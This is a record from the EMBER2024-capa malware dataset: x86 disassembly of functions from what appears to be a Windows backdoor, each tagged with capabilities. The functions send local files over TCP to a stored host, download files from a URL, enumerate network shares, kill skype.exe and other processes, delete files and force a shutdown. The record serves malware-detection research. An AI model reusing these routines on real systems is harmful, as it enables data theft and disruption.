joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1314e560
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x131e90f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
lea eax, [ebp - 0x218]
mov dword [ebp - 0x208], 0x4000
push eax
push ecx
push 0
push 0
push 2
mov dword [ebp - 0x20c], 0xffffffff
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x1314e717
push dword [ebp - 0x208]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
mov dword [ebp - 0x21c], ebx
test ebx, ebx
je 0x1314e717
push esi
push edi
push dword [ebp - 0x208]
push 0
push ebx
call fcn.1319ba80
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
push ebx
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x218]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x1314e6ea
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x20c], eax
jbe 0x1314e5c4
add ebx, 0xc
mov dword [ebp - 0x214], ebx
nop
push 0x200
lea eax, [ebp - 0x204]
push 0
push eax
call fcn.1319ba80
mov ebx, dword [ebx + 8]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ebx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, eax
push esi
call fcn.13199298
add esp, 4
mov edi, eax
push 0
push 0
push esi
push edi
push 0xffffffffffffffff
push ebx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
lea eax, [ebp - 0x204]
push str._s__n
push eax
call fcn.13141a40
lea eax, [ebp - 0x204]
add esp, 0xc
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1314e681
mov edi, dword [0x13c25c3c]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1314e691
mov ebx, dword [ebp - 0x214]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
test dword [ebx], 2
je 0x1314e6bd
lea ecx, [ebx - 0xc]
call fcn.1314e560
mov eax, dword [ebp - 0x210]
add ebx, 0x20
inc eax
mov dword [ebp - 0x214], ebx
mov dword [ebp - 0x210], eax
cmp eax, dword [ebp - 0x20c]
jb 0x1314e610
mov ebx, dword [ebp - 0x21c]
jmp 0x1314e5c4
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0x218]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
pop edi
pop esi
test eax, eax
jne 0x1314e717
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop ebx
call fcn.13198da3
mov esp, ebp
pop ebp
ret
Function at 0x1314e730
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get file size
Initialize winsock library
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xeec
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0xee8], eax
push ebx
push esi
push edi
lea eax, [esp + 0x160]
mov esi, ecx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, 2
push 0x13bfd944
mov word [esp + 0x14], ax
call fcn.131a85ab
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push 2
mov word [esp + 0x1e], ax
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [0x131fd62c]
mov dword [0x131fe460], eax
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x1314e901
push 0x10
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1314e8d5
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x1314e8d5
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [0x13c25cac], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
push str._0031
push 0x13c24ed0
lea eax, [esp + 0xafc]
push str._s__s__d_
push eax
call fcn.13141a40
mov ecx, dword [0x131fe460]
lea edx, [esp + 0xb04]
add esp, 0x14
call fcn.13145790
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, dword [sym.imp.WS2_32.dll_send]
nop dword [eax]
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [esp + 0xc]
push 0
push eax
push 0x800
lea eax, [esp + 0x2fc]
push eax
push dword [0x13c25cac]
call edi
push 0
push dword [esp + 0x10]
lea eax, [esp + 0x2f8]
push eax
push dword [0x131fe460]
call ebx
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
push 1
call esi
cmp dword [esp + 0xc], 0x800
je 0x1314e850
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
push 2
push dword [0x131fe460]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x131fe460]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [0x13c25cac]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0xef4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
Function at 0x1314ea50
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get file size
Initialize winsock library
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xeec
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0xee8], eax
push ebx
push esi
push edi
lea eax, [esp + 0x160]
mov esi, ecx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, 2
push 0x13bfd944
mov word [esp + 0x14], ax
call fcn.131a85ab
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push 2
mov word [esp + 0x1e], ax
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [0x131fd62c]
mov dword [0x131fe8d0], eax
mov dword [esp + 0x14], ecx
test ecx, ecx
jne 0x1314eadb
mov ecx, dword [esp + 0xef4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
push 0x10
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1314ec05
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x1314ec05
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [0x131fd71c], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
push str._0093
push 0x13c24ed0
lea eax, [esp + 0xafc]
push str._s__s__d_
push eax
call fcn.13141a40
mov ecx, dword [0x131fe8d0]
lea edx, [esp + 0xb04]
add esp, 0x14
call fcn.13145790
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, dword [sym.imp.WS2_32.dll_send]
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [esp + 0xc]
push 0
push eax
push 0x800
lea eax, [esp + 0x2fc]
push eax
push dword [0x131fd71c]
call edi
push 0
push dword [esp + 0x10]
lea eax, [esp + 0x2f8]
push eax
push dword [0x131fe8d0]
call ebx
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
push 1
call esi
cmp dword [esp + 0xc], 0x800
je 0x1314eb80
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
push 2
push dword [0x131fe8d0]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x131fe8d0]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [0x131fd71c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x1314f210
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1314f27c
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax]
push str.skype.exe
lea eax, [esp + 0x38]
push eax
call edi
test eax, eax
je 0x1314f29a
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x1314f260
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret

Function at 0x1314f2c0
Capabilities:
Terminate process

Disassembly:
call fcn.1314f210
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
ret

Function at 0x1314f530
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x131e90f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x100
lea eax, [ebp - 0x104]
mov esi, ecx
push 0
push eax
call fcn.1319ba80
push esi
lea eax, [ebp - 0x104]
push 0x131dafa4
push eax
call fcn.13141a40
lea eax, [ebp - 0x104]
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x11c], eax
add esp, 0x18
mov eax, 0x54
mov dword [ebp - 0x120], 3
mov word [ebp - 0x114], ax
lea eax, [ebp - 0x124]
mov dword [ebp - 0x118], 0
push eax
mov dword [ebp - 0x112], 0
mov dword [ebp - 0x10e], 0
mov dword [ebp - 0x10a], 0
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.13198da3
mov esp, ebp
pop ebp
ret
Function at 0x1314f880
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xeec
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0xee8], eax
push ebx
push esi
push edi
lea eax, [esp + 0x160]
mov esi, ecx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, 2
push 0x13bfd944
mov word [esp + 0x14], ax
call fcn.131a85ab
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push 2
mov word [esp + 0x1e], ax
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [0x131fd62c]
mov dword [0x131fdff4], eax
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x1314fa63
push 0x10
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1314fa37
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x1314fa37
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
mov dword [0x131eec4c], eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
lea edx, [esp + 0x20]
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x1314f956
lea eax, [esp + 0x20]
push eax
push str._0044
push 0x13c24ed0
lea eax, [esp + 0xafc]
push str._s__s__s_
push eax
call fcn.13141a40
mov ecx, dword [0x131fdff4]
lea edx, [esp + 0xb04]
add esp, 0x14
call fcn.13145790
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, dword [sym.imp.WS2_32.dll_send]
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [esp + 0xc]
push 0
push eax
push 0x800
lea eax, [esp + 0x2fc]
push eax
push dword [0x131eec4c]
call edi
push 0
push dword [esp + 0x10]
lea eax, [esp + 0x2f8]
push eax
push dword [0x131fdff4]
call ebx
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
push 1
call esi
cmp dword [esp + 0xc], 0x800
je 0x1314f9b2
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
push 2
push dword [0x131fdff4]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x131fdff4]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [0x131eec4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0xef4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
Function at 0x13150840
Capabilities:
Hash data with md5
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x131e90f0]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
push 0x131daff8
push esi
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi], 0x67452301
mov dword [edi + 4], 0xefcdab89
mov dword [edi + 8], 0x98badcfe
mov dword [edi + 0xc], 0x10325476
call fcn.131a427c
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x131508ab
push esi
push str._s_cant_be_opened_n
call fcn.13141990
add esp, 8
jmp 0x131509be
push ebx
push 0x400
lea eax, [ebp - 0x414]
push 1
push eax
call fcn.131a889d
add esp, 0x10
test eax, eax
je 0x131508f0
push eax
lea eax, [ebp - 0x414]
mov ecx, edi
push eax
call fcn.13150790
push ebx
push 0x400
lea eax, [ebp - 0x414]
push 1
push eax
call fcn.131a889d
add esp, 0x10
test eax, eax
jne 0x131508c6
xor edx, edx
lea ecx, [edi + 0x12]
movzx eax, byte [ecx - 2]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x10], al
movzx eax, byte [ecx - 5]
mov byte [ebp + edx - 0xf], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0xe], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0xd], al
add edx, 4
cmp edx, 8
jb 0x131508f5
mov edx, dword [edi + 0x10]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
mov ecx, edi
push eax
push 0x131e9ac8
call fcn.13150790
push 8
lea eax, [ebp - 0x10]
mov ecx, edi
push eax
call fcn.13150790
lea ecx, [edi + 0x59]
mov esi, 4
lea edx, [edi + 2]
movzx eax, byte [edx - 2]
lea edx, [edx + 4]
mov byte [ecx - 1], al
lea ecx, [ecx + 4]
movzx eax, byte [edx - 5]
mov byte [ecx - 4], al
movzx eax, byte [edx - 4]
mov byte [ecx - 3], al
movzx eax, byte [edx - 3]
mov byte [ecx - 2], al
sub esi, 1
jne 0x13150962
push 0x58
push esi
push edi
call fcn.1319ba80
add esp, 0xc
movzx eax, byte [edi + esi + 0x58]
push eax
lea eax, [edi + 0x68]
lea eax, [eax + esi*2]
push str._02x
push eax
call fcn.13141a40
inc esi
add esp, 0xc
cmp esi, 0x10
jl 0x13150995
push ebx
call fcn.131a4455
add esp, 4
mov ecx, dword [ebp - 8]
lea eax, [edi + 0x68]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.13198da3
mov esp, ebp
pop ebp
ret 4
Function at 0x131509e0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x131e90f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 0
push 0
push 0
push str.Microsoft_Internet_Explorer
mov esi, ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 0
push 0
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x13150aca
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push 0x13c26ed0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 1
jae 0x13150a5e
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
nop word [eax + eax]
push 0x200
lea eax, [ebp - 0x204]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
push 0x200
lea eax, [ebp - 0x204]
push eax
push esi
call ebx
push 0
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x208]
lea eax, [ebp - 0x204]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x208], 0
ja 0x13150a70
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.13198da3
mov esp, ebp
pop ebp
ret

Function at 0x13150af0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, 0x13c257d8
push edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x13150b01
sub esi, ecx
lea eax, [esi + 2]
push eax
call fcn.13199298
mov ebx, eax
mov ecx, 0x13c257d8
mov edi, ebx
add esp, 4
sub edi, ecx
mov dl, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edi + ecx - 1], dl
test dl, dl
jne 0x13150b21
mov word [ebx + esi], 0
mov eax, 0x54
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xe], 0
mov dword [ebp - 6], 0
mov dword [ebp - 0xa], 0
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
push ebx
mov esi, eax
call fcn.13198db4
add esp, 4
test esi, esi
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x13150b90
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x131e90f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov esi, edx
mov dword [ebp - 0x138], ecx
push 0xf
mov dword [ebp - 0x134], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x13150c3a
push dword [ebp - 0x138]
lea eax, [ebp - 0x10c]
push eax
call fcn.131b3264
add esp, 8
test eax, eax
jne 0x13150c28
mov eax, dword [ebp - 0x128]
cmp eax, esi
je 0x13150c28
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x13150c22
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [ebp - 0x134]
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x13150be2
push edi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.13198da3
mov esp, ebp
pop ebp
ret
Function at 0x13151970
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xeec
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0xee8], eax
push ebx
push esi
push edi
lea eax, [esp + 0x160]
mov esi, ecx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, 2
push 0x13bfd944
mov word [esp + 0x14], ax
call fcn.131a85ab
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push 2
mov word [esp + 0x1e], ax
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [0x131fd62c]
mov dword [0x131fe464], eax
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x13151b53
push 0x10
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x13151b27
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x13151b27
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
mov dword [0x131fb8c0], eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
lea edx, [esp + 0x20]
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x13151a46
lea eax, [esp + 0x20]
push eax
push str._0026
push 0x13c24ed0
lea eax, [esp + 0xafc]
push str._s__s__s_
push eax
call fcn.13141a40
mov ecx, dword [0x131fe464]
lea edx, [esp + 0xb04]
add esp, 0x14
call fcn.13145790
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, dword [sym.imp.WS2_32.dll_send]
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [esp + 0xc]
push 0
push eax
push 0x800
lea eax, [esp + 0x2fc]
push eax
push dword [0x131fb8c0]
call edi
push 0
push dword [esp + 0x10]
lea eax, [esp + 0x2f8]
push eax
push dword [0x131fe464]
call ebx
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
push 1
call esi
cmp dword [esp + 0xc], 0x800
je 0x13151aa2
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
push 2
push dword [0x131fe464]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x131fe464]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [0x131fb8c0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0xef4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
Function at 0x13152080
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x131e90f0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x13152105
lea eax, [ebp - 0x10]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 1
push eax
push 0
push dword [ebp - 0x18]
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x13152105
push eax
push 1
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
je 0x13152105
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.13198da3
mov esp, ebp
pop ebp
ret

Function at 0x13152cc0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0x20c], eax
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, 2
push 0x13bfd944
mov word [esp + 4], ax
call fcn.131a85ab
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push 2
mov word [esp + 0xe], ax
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [0x131fd62c]
mov dword [0x13bfd93c], eax
mov dword [esp + 4], ecx
test ecx, ecx
je 0x13152dba
push 0x10
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x13152d5d
push 2
push dword [0x13bfd93c]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x13bfd93c]
call dword [sym.imp.WS2_32.dll_closesocket]
push str._0050
push 0x13c24ed0
lea eax, [esp + 0x1a8]
push str._s__s_
push eax
call fcn.13141a40
mov ecx, dword [0x13bfd93c]
lea edx, [esp + 0x1b0]
call fcn.13145790
push 0x64
lea eax, [esp + 0x1b4]
push 0
push eax
call fcn.1319ba80
add esp, 0x1c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x13bfd93c]
mov edx, 0x131ef230
call fcn.131459c0
mov ecx, dword [esp + 0x20c]
xor eax, eax
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret